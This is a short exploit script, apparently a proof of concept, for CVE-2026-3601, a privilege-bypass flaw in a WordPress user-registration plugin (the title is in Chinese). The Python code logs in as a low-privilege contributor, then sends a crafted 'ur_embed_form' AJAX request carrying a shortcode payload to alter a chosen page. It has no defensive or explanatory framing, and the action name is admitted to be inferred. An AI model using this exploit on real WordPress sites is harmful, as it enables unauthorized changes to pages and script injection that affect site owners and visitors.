CVE-2026-3601: WordPress用户注册插件权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "contributor_user" password = "password123" target_post_id = "1" # ID of the page to modify # Login to get session and nonce (if applicable) session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin/', 'wp-submit': 'Log In' } session.post("http://example.com/wp-login.php", data=login_data) # Exploit payload # The action 'ur_embed_form' is inferred from the function name 'embed_form_action' payload = { 'action': 'ur_embed_form', 'post_id': target_post_id, 'form_id': '1', 'shortcode_content': '[malicious_shortcode]alert(1)[/malicious_shortcode]' } # Send exploit request response = session.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print("[-] Failed to send payload.")